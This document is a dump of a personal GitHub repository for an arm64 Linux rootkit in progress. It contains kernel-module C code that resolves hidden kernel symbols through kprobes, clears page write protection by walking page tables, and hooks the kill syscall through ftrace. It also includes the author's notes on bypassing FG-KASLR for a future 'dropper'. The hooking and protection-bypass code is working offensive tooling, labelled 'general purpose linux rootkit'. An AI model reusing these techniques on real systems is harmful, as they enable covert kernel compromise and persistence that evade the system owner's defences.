-ENOENT; 9 | } 10 | uintptr_t tmp = kp.addr; 11 | unregister_kprobe(&kp); 12 | pr_info("debug: kprobe_get_func_addr %s @ %pK\n", func_name, tmp); 13 | return tmp; 14 | } 15 | 16 | uintptr_t kallsyms_lookup_name_(const char *symbol_name) { 17 | if (!kallsyms_lookup_name__) { 18 | kallsyms_lookup_name__ = kprobe_get_func_addr("kallsyms_lookup_name"); 19 | } 20 | uintptr_t tmp = kallsyms_lookup_name__(symbol_name); 21 | pr_info("debug: kallsyms_lookup_name_ %s @ %pK\n", symbol_name, tmp); 22 | return tmp; 23 | } 24 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/resolve_kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_KALLSYMS_H_ 2 | #define _RESOLV_KALLSYMS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | static kallsyms_lookup_name_t kallsyms_lookup_name__ = NULL; 10 | 11 | extern uintptr_t kprobe_get_func_addr(const char *func_name); 12 | extern uintptr_t kallsyms_lookup_name_(const char *symbol_name); 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/set_page_flags.c: -------------------------------------------------------------------------------- 1 | #include "set_page_flags.h" 2 | 3 | pte_t *page_from_virt(uintptr_t addr) { 4 | pr_info("debug: page_from_virt called with addr %pK\n", addr); 5 | if (!init_mm_ptr) { 6 | init_mm_ptr = kallsyms_lookup_name_("init_mm"); 7 | } 8 | 9 | pgd_t *pgd; 10 | p4d_t *p4d; 11 | pud_t *pud; 12 | pmd_t *pmd; 13 | pte_t *ptep; 14 | 15 | pgd = pgd_offset(init_mm_ptr, addr); 16 | if (pgd_none(*pgd) || pgd_bad(*pgd)) { 17 | return NULL; 18 | } 19 | 20 | p4d = p4d_offset(pgd, addr); 21 | if (p4d_none(*p4d) || p4d_bad(*p4d)) { 22 | return NULL; 23 | } 24 | 25 | pud = pud_offset(p4d, addr); 26 | if (pud_none(*pud) || pud_bad(*pud)) { 27 | return NULL; 28 | } 29 | 30 | pmd = pmd_offset(pud, addr); 31 | if (pmd_none(*pmd) || pmd_bad(*pmd)) { 32 | return NULL; 33 | } 34 | 35 | ptep = pte_offset_kernel(pmd, addr); 36 | if (!ptep) { 37 | return NULL; 38 | } 39 | 40 | pr_info("debug: page_from_virt succes, virt (%pK), ptep @ %pK", addr, ptep); 41 | 42 | return ptep; 43 | } 44 | 45 | void pte_flip_write_protect(pte_t *ptep) { 46 | if (!pte_write(*ptep)) { 47 | *ptep = pte_mkwrite(pte_mkdirty(*ptep)); 48 | *ptep = clear_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 49 | pr_info("debug: pte_flip_write_protect flipped ptep @ %pK, pte_write(%i)\n", ptep, pte_write(*ptep)); 50 | return; 51 | } 52 | *ptep = pte_wrprotect(*ptep); 53 | *ptep = set_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 54 | pr_info("debug: pte_flip_write_protect ptep @ %pK, pte_write(%i)\n", ptep, pte_write(*ptep)); 55 | } 56 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/set_page_flags.h: -------------------------------------------------------------------------------- 1 | #ifndef _SET_PAGE_FLAGS_H_ 2 | #define _SET_PAGE_FLAGS_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | 7 | static struct mm_struct *init_mm_ptr = NULL; 8 | 9 | extern pte_t *page_from_virt(uintptr_t addr); 10 | extern void pte_flip_write_protect(pte_t *ptep); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /fg-kaslr_test/.tmp_3056/tmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/fg-kaslr_test/.tmp_3056/tmp -------------------------------------------------------------------------------- /fg-kaslr_test/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += fg_kaslr_test.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /fg-kaslr_test/Module.symvers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/fg-kaslr_test/Module.symvers -------------------------------------------------------------------------------- /fg-kaslr_test/fg_kaslr_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | MODULE_LICENSE("GPL"); 12 | MODULE_AUTHOR("0xwillow"); 13 | MODULE_VERSION("1.0"); 14 | 15 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 16 | kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 17 | 18 | uintptr_t get_kprobe_addr_of_symbol(const char *sym_name) { 19 | static struct kprobe kp; 20 | kp.symbol_name = sym_name; 21 | if (register_kprobe(&kp) < 0) { 22 | pr_info("debug: get_kprobe_addr_of_symbol of %s failed\n", sym_name); 23 | return -ENOENT; 24 | } 25 | 26 | uintptr_t tmp = kp.addr; 27 | unregister_kprobe(&kp); 28 | pr_info("debug: get_kprobe_addr_of_symbol success, %s @ %p", sym_name, tmp); 29 | return tmp; 30 | } 31 | 32 | static int __init kaslr_test_mod_init(void) { 33 | kallsyms_lookup_name_ = (kallsyms_lookup_name_t) get_kprobe_addr_of_symbol("kallsyms_lookup_name"); 34 | // https://patchwork.kernel.org/project/linux-arm-kernel/patch/1451301654-32019-2-git-send-email-ard.biesheuvel@linaro.org/ 35 | // https://stackoverflow.com/questions/68537274/what-is-text-offset-in-the-aarch64-kernel-image-and-how-do-i-know-where-the-kern 36 | // https://www.spinics.net/lists/arm-kernel/msg832306.html 37 | // https://www.kernel.org/doc/Documentation/printk-formats.txt 38 | 39 | // __start___ksymtab 40 | // NEED TO PRINT ADDRESSES WITH %pK LOL 41 | 42 | // kallsyms_lookup_name 43 | // pr_info("debug: virt_to_phys virt (%pK) -> phys (%px)\n", 0xffffc6e076e45090, virt_to_phys(0xffffc6e076e45090)); 44 | // pr_info("debug: phys_to_virt phys (%px) -> virt (%pK)\n", 0x1156f0000, phys_to_virt(0x1156f0000)); 45 | pr_info("debug: kallsyms_lookup_name __arm64_sys_kill @ %pK\n", kallsyms_lookup_name_("__arm64_sys_kill")); 46 | 47 | // get_kprobe_addr_of_symbol("start_kernel"); 48 | // get_kprobe_addr_of_symbol("kallsyms_lookup_name"); 49 | // 50 | // pr_info("debug: kallsyms_lookup_name _text @ %p\n", kallsyms_lookup_name_("_text")); 51 | // pr_info("debug: kallsyms_lookup_name _head @ %p\n", kallsyms_lookup_name_("_head")); 52 | // pr_info("debug: kallsyms_lookup_name __start___ksymtab @ %p\n", kallsyms_lookup_name_("__start___ksymtab")); 53 | // pr_info("debug: kallsyms_lookup_name kallsyms_lookup_name @ %p\n", kallsyms_lookup_name_("kallsyms_lookup_name")); 54 | // 55 | // // get_kprobe_addr_of_symbol("_head"); 56 | // // get_kprobe_addr_of_symbol("_text"); 57 | // 58 | // pr_info("debug: kallsyms_lookup_name addr %p\n", &kallsyms_lookup_name_); 59 | // // pr_info("debug: _text symbol %p\n", _text); 60 | // 61 | // // https://github.com/torvalds/linux/blob/df0cc57e/scripts/kallsyms.c#L96 62 | // 63 | // // run 1: [ 135.748285] debug: printk addr 000000002c67f20f 64 | // // run 2: [ 36.300241] debug: printk addr 0000000062b32bb6 65 | // // run 2: ffffd59881995934 printk 66 | // // run 2: ffffd59880c10000 _text 67 | // pr_info("debug: printk addr %p\n", &printk); 68 | // pr_info("debug: printk addr %p\n", kallsyms_lookup_name_("printk")); 69 | 70 | pr_info("debug: module loaded\n"); 71 | return 0; 72 | } 73 | 74 | static void __exit kaslr_test_mod_exit(void) { 75 | pr_info("debug: module unloaded\n"); 76 | } 77 | 78 | 79 | module_init(kaslr_test_mod_init); 80 | module_exit(kaslr_test_mod_exit); 81 | -------------------------------------------------------------------------------- /fg-kaslr_test/fg_kaslr_test.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/fg-kaslr_test/fg_kaslr_test.ko -------------------------------------------------------------------------------- /fg-kaslr_test/fg_kaslr_test.mod: -------------------------------------------------------------------------------- 1 | /mnt/dav/fg-kaslr_test/fg_kaslr_test.o 2 | 3 | -------------------------------------------------------------------------------- /fg-kaslr_test/fg_kaslr_test.mod.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | BUILD_SALT; 7 | 8 | MODULE_INFO(vermagic, VERMAGIC_STRING); 9 | MODULE_INFO(name, KBUILD_MODNAME); 10 | 11 | __visible struct module __this_module 12 | __section(.gnu.linkonce.this_module) = { 13 | .name = KBUILD_MODNAME, 14 | .init = init_module, 15 | #ifdef CONFIG_MODULE_UNLOAD 16 | .exit = cleanup_module, 17 | #endif 18 | .arch = MODULE_ARCH_INIT, 19 | }; 20 | 21 | #ifdef CONFIG_RETPOLINE 22 | MODULE_INFO(retpoline, "Y"); 23 | #endif 24 | 25 | static const struct modversion_info ____versions[] 26 | __used __section(__versions) = { 27 | { 0x581b1365, "module_layout" }, 28 | { 0xc5850110, "printk" }, 29 | { 0xeb3f8466, "unregister_kprobe" }, 30 | { 0x3ce77caf, "register_kprobe" }, 31 | { 0x1fdc7df2, "_mcount" }, 32 | }; 33 | 34 | MODULE_INFO(depends, ""); 35 | 36 | 37 | MODULE_INFO(srcversion, "77CD8C4E135C0CB76F1458B"); 38 | -------------------------------------------------------------------------------- /fg-kaslr_test/fg_kaslr_test.mod.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/fg-kaslr_test/fg_kaslr_test.mod.o -------------------------------------------------------------------------------- /fg-kaslr_test/fg_kaslr_test.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/fg-kaslr_test/fg_kaslr_test.o -------------------------------------------------------------------------------- /fg-kaslr_test/find_exported_syms.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | 4 | def main(): 5 | kallsyms = None 6 | with open("/proc/kallsyms", "r") as f: 7 | kallsyms = f.readlines() 8 | 9 | exp = re.compile("([0-9a-fA-F]+) ([TDS]) ([ -~]+)[ ]?") 10 | kallsyms = [exp.match(sym) for sym in kallsyms if exp.match(sym)] 11 | 12 | kallsyms.sort(key=lambda sym: int(sym.group(1), 16)) 13 | 14 | _text_sym = next(sym for sym in kallsyms if sym.group(3) == "_text") 15 | max_exported = int(_text_sym.group(1), 16) + 0xf85198 16 | [print(sym.groups()) for sym in kallsyms if int(sym.group(1), 16) < max_exported and int(sym.group(1), 16) > int(_text_sym.group(1), 16)] 17 | 18 | if __name__ == "__main__": 19 | main() 20 | -------------------------------------------------------------------------------- /fg-kaslr_test/hook.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 10 | 11 | uintptr_t get_kprobe_addr_of_symbol(const char *sym_name) { 12 | static struct kprobe kp = {.symbol_name = sym_name}; 13 | if (register_kprobe(&kp) < 0) { 14 | pr_info("debug: get_kprobe_addr_of_symbol failed\n"); 15 | return -ENOENT; 16 | } 17 | 18 | uintptr_t tmp = kp.addr; 19 | unregister_kprobe(&kp); 20 | pr_info("debug: get_kprobe_addr_of_symbol success, %s @ %p", symbol_name, tmp); 21 | return tmp; 22 | } 23 | 24 | void get_kallsyms_lookup_name(void) { 25 | kallsyms_lookup_name_ = (kallsyms_lookup_name_t) get_kprobe_addr_of_symbol("kallsyms_lookup_name"); 26 | } 27 | -------------------------------------------------------------------------------- /fg-kaslr_test/modules.order: -------------------------------------------------------------------------------- 1 | /mnt/dav/fg-kaslr_test/fg_kaslr_test.ko 2 | -------------------------------------------------------------------------------- /fg-kaslr_test/notes.txt: -------------------------------------------------------------------------------- 1 | bypassing fg-kaslr: 2 | 3 | kallsyms_lookup_name() returns offset of symbol from relative base (_text) 4 | - absolute addr: _text + offset 5 | 6 | 1. use kprobe to get addr of kallsyms_lookup_name() 7 | 2. somehow get absolute addr of _text ?? try from from absolute addresses within module 8 | - get function pointer to exported functions then subtract offset to _text 9 | 10 | find a symbol that is always exported, printk maybe ? or sort by address 11 | find its offset manually with _text and then using it to calculate text programmatically 12 | this will only work for my kernel version though 13 | so the dropper will need to find the offsets 14 | 15 | find where /proc/kallsyms calculates base 16 | find where /proc/vmallocinfo gets its info 17 | 18 | 19 | start_kernel: ffffa152c0530d18 20 | text: ffffa152bec20000 21 | difference: 0x1910D18 22 | 23 | reboot: 24 | start_kernel: ffffd2c3c11f0d18 25 | text: ffffd2c3bf8e0000 26 | difference: 0x1910D18 27 | 28 | 29 | 30 | // maybe it is emitting absolute addr ? 31 | 32 | https://patchwork.kernel.org/project/linux-modules/patch/20211102183851.168676-7-nick.alcock@oracle.com/ 33 | 34 | https://github.com/torvalds/linux/blob/master/kernel/kallsyms.c proc kallsyms 35 | 36 | Since it is useful for some architectures (like x86) to retain the ability 37 | to emit absolute values as well, this patch adds support for both, by 38 | emitting absolute addresses as positive 32-bit values, and addresses 39 | relative to the lowest encountered relative symbol as negative values, which 40 | are subtracted from the runtime address of this base symbol to produce the 41 | actual address. 42 | 43 | traverse page table and find pages mapped with _PAGE_GLOBAL 44 | https://github.com/lorenzo-stoakes/linux-vm-notes/blob/master/sections/page-tables.md 45 | 46 | printk is exported always and has constant offset 47 | printk does not have constant offset 48 | need to use either D or S 49 | 50 | root@coolbox4:/mnt/dav/fg-kaslr_test# cat /proc/kallsyms | grep " a " 51 | ffffd598827050d8 a $d [x_tables] 52 | ffffd598827050d8 a xt_recseq [x_tables] 53 | 54 | 55 | shitty little script to check if a symbol will have a constant offset with fg-aslr 56 | 57 | ```python 58 | import re 59 | 60 | 61 | def main(): 62 | kallsyms = None 63 | with open("/proc/kallsyms", "r") as f: 64 | kallsyms = f.readlines() 65 | 66 | exp = re.compile("([0-9a-fA-F]+) ([tTdDsS]) ([ -~]+)[ ]?") 67 | kallsyms = [exp.match(sym) for sym in kallsyms if exp.match(sym)] 68 | 69 | kallsyms.sort(key=lambda sym: int(sym.group(1), 16)) 70 | 71 | _text_sym = next(sym for sym in kallsyms if sym.group(3) == "_text") 72 | max_exported = int(_text_sym.group(1), 16) + 0xf85198 73 | [print(sym.groups()) for sym in kallsyms if int(sym.group(1), 16) < max_exported] 74 | 75 | if __name__ == "__main__": 76 | main() 77 | ``` 78 | 79 | 80 | find _text ??? kallsyms_lookup_name(_text) will return 0, test this 81 | 82 | 83 | [ 1330.362542] debug: kallsyms_lookup_name_ 00000000bcee62d2 84 | [ 1330.400752] debug: kallsyms_lookup_name __text 0000000000000000 85 | [ 1330.406412] debug: kallsyms_lookup_name __start___ksymtab 00000000eae3a6c0 86 | [ 1330.406413] debug: module loaded 87 | 88 | 89 | [ 31.598281] debug: kallsyms_lookup_name_ 00000000e52abda3 90 | [ 31.635373] debug: kallsyms_lookup_name _text 0000000000000000 91 | [ 31.641400] debug: kallsyms_lookup_name __start___ksymtab 00000000d3833d2c 92 | [ 31.641401] debug: module loaded 93 | 94 | reboot and see if offset remains the same 95 | 96 | 97 | [ 31.518417] debug: kallsyms_lookup_name_ 000000008e7072ce 98 | [ 31.546735] debug: kallsyms_lookup_name _text 00000000338b42a1 99 | [ 31.552893] debug: kallsyms_lookup_name __start___ksymtab 00000000b462eebf 100 | [ 31.552895] debug: module loaded 101 | 102 | 103 | 104 | - __start___ksymtab location never changes: _text+0xf85198 ?? 105 | ^ incorrect it does change 106 | 107 | 108 | https://github.com/torvalds/linux/blob/df0cc57e/scripts/kallsyms.c#L96 109 | record relative base 110 | 111 | https://github.com/euspectre/kernel-strider/blob/master/sources/core/module_ms_alloc.c 112 | kernel strider 113 | 114 | /proc/iomem 115 | 116 | nEED NOTRACE 117 | 118 | // ftrace_set_filter(&hook->ops, hook->name, strlen(hook->name), 0); 119 | // if (err) { 120 | // pr_info("debug: ftrace_set_filter failed with err (%i), &hook->ops (%pR), hook->name @%s\n", err, &hook->ops, hook->name); 121 | // return err; 122 | // } 123 | 124 | 125 | IMPORTANT: 126 | [ 609.023138] debug: virt_to_phys virt (ffffc6e076e45090) -> phys (0000000115845090) 127 | [ 609.023139] debug: phys_to_virt phys (00000001156f0000) -> virt (ffff0672156f0000) 128 | 129 | _text: ffffc6e076cf0000 130 | 131 | 132 | 133 | i was wondering if there was a simple way to get the absolute value of _text from within an LKM 134 | kallsyms_lookup_name("_text") returns an offset from _text 135 | id rather not call a helper from usermode to parse /proc/kallsyms or /proc/vmallocinfo 136 | 137 | https://code.woboq.org/linux/linux/kernel/kallsyms.c.html 138 | 139 | 140 | https://web.archive.org/web/20220423053914/https://www.nettime.org/Lists-Archives/nettime-l-9912/msg00161.html 141 | 142 | i was wondering if there was a simple way to get the absolute value of _text from within an LKM 143 | kallsyms_lookup_name("_text") returns an offset from _text 144 | id rather not call a helper from usermode to parse /proc/kallsyms or /proc/vmallocinfo 145 | i also dont really want to walk the pagetable just to find it 146 | looking at the source it seems /proc/kallsyms gets the base by parsing some kernel structure but i cant find its name its just passed as a file pointer 147 | 148 | 149 | [ 57.039180] debug: get_kprobe_addr_of_symbol success, kallsyms_lookup_name @ 00000000588ed0f7 150 | [ 57.039182] debug: kallsyms_lookup_name _text 000000005dd9530b 151 | [ 57.039184] debug: kallsyms_lookup_name *_text 0000000075e5c5f9 152 | [ 57.046195] debug: kallsyms_lookup_name __start___ksymtab 000000004f2cafcc 153 | [ 57.046196] debug: get_kprobe_addr_of_symbol failed 154 | [ 57.046197] debug: get_kprobe_addr_of_symbol _text fffffffffffffffe 155 | [ 57.046197] debug: get_kprobe_addr_of_symbol failed 156 | [ 57.046197] debug: get_kprobe_addr_of_symbol sys_call_table fffffffffffffffe 157 | [ 57.046198] debug: module loaded 158 | 159 | 160 | ffffac8a76d14680 T module_kallsyms_lookup_name 161 | ffffac8a76d15090 T kallsyms_lookup_name 162 | ffffac8a77faa728 r __ksymtab_kallsyms_lookup_name 163 | ffffac8a77fc2b66 r __kstrtab_kallsyms_lookup_name 164 | ffffac8a37d30408 b kallsyms_lookup_name_ [fg_kaslr_test] 165 | ffffac8a37d2e080 t get_kallsyms_lookup_name [fg_kaslr_test] 166 | 167 | 168 | base: 0xFFFFAC8A1E427F99 169 | 170 | text: 0xFFFFAC8A1E427F99 + 000000005dd9530b = 0xFFFFAC8A7C1BD2A4 171 | real text: ffffac8a76bc0000 172 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += hook_test.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/get_syms.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | uintptr_t kprobe_get_func_addr(const char *func_name) { 4 | static struct kprobe kp; 5 | kp.symbol_name = func_name; 6 | if (register_kprobe(&kp) < 0) { 7 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 8 | return -ENOENT; 9 | } 10 | 11 | uintptr_t tmp = kp.addr; 12 | unregister_kprobe(&kp); 13 | return tmp; 14 | } 15 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/hook_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "hook_v6.h" 5 | 6 | MODULE_LICENSE("GPL"); 7 | MODULE_AUTHOR("0xwillow"); 8 | MODULE_DESCRIPTION("general purpose linux rootkit"); 9 | MODULE_VERSION("1.0"); 10 | 11 | static notrace asmlinkage int (*orig_kill) (const struct pt_regs *); 12 | 13 | asmlinkage notrace int hook_kill(const struct pt_regs *regs) { 14 | pr_info("debug: hooked kill :D\n"); 15 | return 0; 16 | // return orig_kill(regs); 17 | } 18 | 19 | static struct ftrace_hook hook = {"__arm64_sys_kill", hook_kill, &orig_kill, 0, {NULL, NULL, NULL}};; 20 | 21 | static int __init hook_test_mod_init(void) { 22 | int err; 23 | err = fh_install_hook(&hook); 24 | if (err) { 25 | pr_info("debug: fh_install_hook failed\n"); 26 | return err; 27 | } 28 | pr_info("debug: module loaded\n"); 29 | return 0; 30 | } 31 | 32 | static void __exit hook_test_mod_exit(void) { 33 | fh_remove_hook(&hook); 34 | pr_info("debug: module unloaded\n"); 35 | } 36 | 37 | 38 | module_init(hook_test_mod_init); 39 | module_exit(hook_test_mod_exit); 40 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/hook_v5.h: -------------------------------------------------------------------------------- 1 | // implement using direct system call hooking#include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | struct ftrace_hook { 9 | const char *name; 10 | void *new; 11 | void *orig; 12 | 13 | uintptr_t addr; 14 | struct ftrace_ops ops; 15 | }; 16 | 17 | // ---DEBUG--- 18 | void debug_fh_hook(struct ftrace_hook *hook) { 19 | if (!hook) { 20 | pr_info("debug: fh_hook NULL\n"); 21 | return; 22 | } 23 | pr_info("debug: fh_hook.name %s\n", hook->name); 24 | pr_info("debug: fh_hook.new %p\n", hook->new); 25 | pr_info("debug: fh_hook.orig %p\n", hook->orig); 26 | pr_info("debug: fh_hook.addr %p\n", hook->addr); 27 | 28 | pr_info("debug: fh_hook.ops.func %p\n", hook->ops.func); 29 | pr_info("debug: fh_hook.ops.flags %p\n", hook->ops.flags); 30 | pr_info("debug: fh_hook.ops.private %p\n", hook->ops.private); 31 | } 32 | // ---DEBUG--- 33 | 34 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 35 | // in ftrace.h but not exported lol 36 | kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 37 | 38 | int get_kallsyms_lookup_name(void) { 39 | static struct kprobe kp = {.symbol_name = "kallsyms_lookup_name"}; 40 | if (register_kprobe(&kp) < 0) { 41 | return -ENOENT; 42 | } 43 | 44 | kallsyms_lookup_name_ = (kallsyms_lookup_name_t) kp.addr; 45 | pr_info("debug: kallsyms_lookup_name_ %p\n", kallsyms_lookup_name_); 46 | unregister_kprobe(&kp); 47 | return 0; 48 | } 49 | 50 | uintptr_t get_addr_of_symbol(const char *symbol_name) { 51 | static struct kprobe kp; 52 | kp.symbol_name = symbol_name; 53 | if (register_kprobe(&kp) < 0) { 54 | return -ENOENT; 55 | } 56 | 57 | uintptr_t tmp = kp.addr; 58 | pr_info("debug: get_addr_of_symbol before unreg %p\n", (void *) tmp); 59 | unregister_kprobe(&kp); 60 | pr_info("debug: get_addr_of_symbol after unreg %p\n", (void *) tmp); 61 | return tmp; 62 | } 63 | 64 | static int fh_get_func_addr(struct ftrace_hook *hook) { 65 | if (!kallsyms_lookup_name_) { 66 | get_kallsyms_lookup_name(); 67 | } 68 | hook->addr = kallsyms_lookup_name_(hook->name); 69 | pr_info("debug: hook->name %s\n", hook->name); 70 | pr_info("debug: hook->addr %p\n", hook->addr); 71 | if (!hook->addr) { 72 | return -ENOENT; 73 | } 74 | 75 | *((uintptr_t*) hook->orig) = hook->addr; 76 | return 0; 77 | } 78 | 79 | uintptr_t get_syscall_addr(int syscall_number) { 80 | if (!kallsyms_lookup_name_) { 81 | get_kallsyms_lookup_name(); 82 | } 83 | uintptr_t sys_call_table_ptr = kallsyms_lookup_name_("sys_call_table"); 84 | return ((unsigned char *) sys_call_table_ptr)[syscall_number]; 85 | } 86 | 87 | // might not match function prototype in ftrace.h 88 | static void fh_callback(uintptr_t ip, uintptr_t parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) { 89 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 90 | if (!within_module(parent_ip, THIS_MODULE)) { 91 | regs->pc = (uintptr_t) hook->new; 92 | pr_info("debug: reached end of fh_callback\n"); 93 | } 94 | } 95 | 96 | int fh_install_hook(struct ftrace_hook *hook) { 97 | if (!hook) { 98 | return -ENOENT; 99 | } 100 | 101 | pr_info("debug: get_syscall_addr %p\n", get_syscall_addr(__NR_kill)); 102 | pr_info("debug: kallsyms_lookup_name_ kallsyms_relative_base %p\n", kallsyms_lookup_name_("kallsyms_relative_base")); 103 | pr_info("debug: _text %p\n", _text); 104 | 105 | int err; 106 | err = fh_get_func_addr(hook); 107 | if (err) { 108 | pr_info("debug: fh_get_func_addr failed\n"); 109 | return err; 110 | } 111 | 112 | hook->ops.func = fh_callback; 113 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 114 | | FTRACE_OPS_FL_RECURSION_SAFE 115 | | FTRACE_OPS_FL_IPMODIFY; 116 | 117 | pr_info("debug: hook state after set func + flag"); 118 | debug_fh_hook(hook); 119 | 120 | // https://www.kernel.org/doc/html/v5.4/trace/ftrace-uses.html 121 | // hook->addr doesnt match /proc/kallsym 122 | err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 123 | // err = ftrace_set_filter(&(hook->ops), hook->name, strlen(hook->name), 0); 124 | if (err) { 125 | pr_info("debug: ftrace_set_filter_ip failed\n"); 126 | return err; 127 | } 128 | 129 | 130 | err = register_ftrace_function(&hook->ops); 131 | if (err) { 132 | pr_info("debug: register_ftrace_function failed\n"); 133 | return err; 134 | } 135 | 136 | return 0; 137 | } 138 | 139 | void fh_remove_hook(struct ftrace_hook *hook) { 140 | unregister_ftrace_function(&hook->ops); 141 | ftrace_set_filter_ip(&hook->ops, hook->addr, 1, 0); 142 | } 143 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/hook_v6.h: -------------------------------------------------------------------------------- 1 | // implement using direct system call hooking#include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | struct ftrace_hook { 10 | const char *name; 11 | void *new; 12 | void *orig; 13 | 14 | uintptr_t addr; 15 | struct ftrace_ops ops; 16 | }; 17 | 18 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 19 | kallsyms_lookup_name_t kallsyms_lookup_name_ = NULL; 20 | 21 | uintptr_t kprobe_get_func_addr(const char *func_name) { 22 | static struct kprobe kp; 23 | kp.symbol_name = func_name; 24 | if (register_kprobe(&kp) < 0) { 25 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 26 | return -ENOENT; 27 | } 28 | 29 | uintptr_t tmp = kp.addr; 30 | unregister_kprobe(&kp); 31 | return tmp; 32 | } 33 | 34 | 35 | 36 | static int fh_get_func_addr(struct ftrace_hook *hook) { 37 | if (!kallsyms_lookup_name_) { 38 | kallsyms_lookup_name_ = kprobe_get_func_addr("kallsyms_lookup_name"); 39 | } 40 | 41 | hook->addr = kallsyms_lookup_name_(hook->name); 42 | if (!hook->addr) { 43 | pr_info("debug: kprobe_get_func_addr of hook (%pR) failed\n", hook); 44 | return -ENOENT; 45 | } 46 | 47 | *((uintptr_t *) hook->orig) = hook->addr; 48 | return 0; 49 | } 50 | 51 | static notrace void fh_callback(unsigned long pc, unsigned long parent_pc, struct ftrace_ops *ops, struct pt_regs *regs) { 52 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 53 | if (!within_module(parent_pc, THIS_MODULE)) { 54 | regs->pc = (unsigned long) hook->new; 55 | } 56 | } 57 | 58 | int fh_install_hook(struct ftrace_hook *hook) { 59 | if (!hook) { 60 | return -ENOENT; 61 | } 62 | 63 | int err; 64 | err = fh_get_func_addr(hook); 65 | if (err) { 66 | return err; 67 | } 68 | 69 | hook->ops.func = fh_callback; 70 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 71 | | FTRACE_OPS_FL_RECURSION_SAFE 72 | | FTRACE_OPS_FL_IPMODIFY; 73 | 74 | err = ftrace_set_filter_ip(&hook->ops, hook->addr, 0, 0); 75 | if (err) { 76 | pr_info("debug: ftrace_set_filter_ip failed with err (%i), &hook->ops (%pR), hook->addr @%pK\n", err, &hook->ops, hook->addr); 77 | return err; 78 | } 79 | 80 | err = register_ftrace_function(&hook->ops); 81 | if (err) { 82 | pr_info("debug: register_ftrace_function failed with err (%i), &hook->ops (%pR)\n\n", err, &hook->ops); 83 | return err; 84 | } 85 | 86 | return 0; 87 | } 88 | 89 | void fh_remove_hook(struct ftrace_hook *hook) { 90 | unregister_ftrace_function(&hook->ops); 91 | ftrace_set_filter_ip(&hook->ops, hook->addr, 1, 0); 92 | } 93 | -------------------------------------------------------------------------------- /ftrace_hook_epic_fail/old/addrs.txt: -------------------------------------------------------------------------------- 1 | ffffab535e3a8aa0 T __arm64_sys_kill 2 | 3 | ffffab535f0d1780 R sys_call_table 4 | 5 | 6 | [ 343.435848] debug: kallsyms_lookup_name_ 00000000984a83b2 7 | [ 343.454111] debug: hook->name __arm64_sys_kill 8 | [ 343.454114] debug: hook->addr 000000001becfed2 9 | [ 343.454114] debug: hook state after set func + flag 10 | [ 343.454115] debug: fh_hook.name __arm64_sys_kill 11 | [ 343.454115] debug: fh_hook.new 00000000d81f20f7 12 | [ 343.454115] debug: fh_hook.orig 00000000e35d7db0 13 | [ 343.454116] debug: fh_hook.addr 000000001becfed2 14 | [ 343.454116] debug: fh_hook.ops.func 000000001ca56a24 15 | [ 343.454116] debug: fh_hook.ops.flags 00000000478fbf5c 16 | [ 343.454116] debug: fh_hook.ops.private 